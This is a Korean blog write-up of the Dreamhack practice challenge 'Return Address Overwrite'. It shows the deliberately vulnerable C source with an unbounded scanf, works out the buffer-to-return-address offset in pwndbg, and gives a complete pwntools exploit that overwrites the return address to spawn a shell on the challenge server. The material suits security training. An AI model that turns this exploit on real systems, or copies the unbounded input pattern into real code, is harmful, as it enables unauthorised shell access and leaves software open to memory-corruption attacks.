[드림핵 시스템 해킹] Wargame : Return Address Overwrite

asdf·2025년 1월 8일

pwnable

목록 보기
6/36

문제


풀이


취약점 분석

먼저 문제에서 제공한 rao.c 파일을 살펴보겠습니다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

먼저 셸을 실행할 수 있는 함수인 get_shell()이 존재합니다. 따라서 execve 셸코드를 사용하지 않고 get_shell 함수를 실행하면 문제를 해결할 수 있어 보입니다. main함수를 보면 "Input: "이라는 문자열 출력 후 scanf로 입력을 받는데 문자열의 길이 제한이 없습니다. 따라서 buf의 크기는 0x28이므로 buf 뒤에 get_shell의 위치를 스택의 return에 덮어씌우면 셸을 얻을 수 있을 것 같습니다.

스택 프레임 구조 파악

문제를 해결하기 위해서 알아야 할 것은 get_shell함수의 위치, 그리고 스택 프레임의 구조입니다.
pwndbg를 통해 rao를 실행해 보겠습니다.

scanf는 printf 뒤에 나오고 <main+30>이 printf를 call하는 부분이므로 바로 이후가 scanf 부분임을 알 수 있습니다. <main+35>를 보면 lea rax, [rbp - 0x30] 이라는 코드가 있고 이를 통해 buf의 크기가 0x30이라는 사실을 알 수 있습니다. buf 밑에 8바이트만큼의 SFP가 존재하므로 return address까지의 거리는 0x38임을 알 수 있고, 이를 더미 데이터로 채운 후 get_shell의 위치를 붙여서 전송하면 scanf 실행 후 get_shell이 실행될 것입니다.
get_shell의 위치는 pwndbg에서 print get_shell을 통해 알 수 있습니다.

익스플로잇 실행

get_shell의 위치는 0x4006aa이고 이를 리틀 엔디안으로 변환하면 \xaa\x06\x40입니다. return address는 8 바이트 이므로 나머지 공간을 널 바이트로 채우면 \xaa\x06\x40\x00\x00\x00\x00\x00이 됩니다.
앞에서 구했듯이 buf에서부터 return address까지의 거리는 0x38바이트 이므로 이만큼을 더미 데이터로 채우고 get_shell의 위치를 붙이고 전송하면 됩니다.
아래는 완성한 코드입니다.

from pwn import *

p = remote("host1.dreamhack.games", 14083)

payload = (b'A' * 0x38 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')
p.sendlineafter("Input: ", payload)
p.interactive()

코드를 실행하면 성공적으로 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글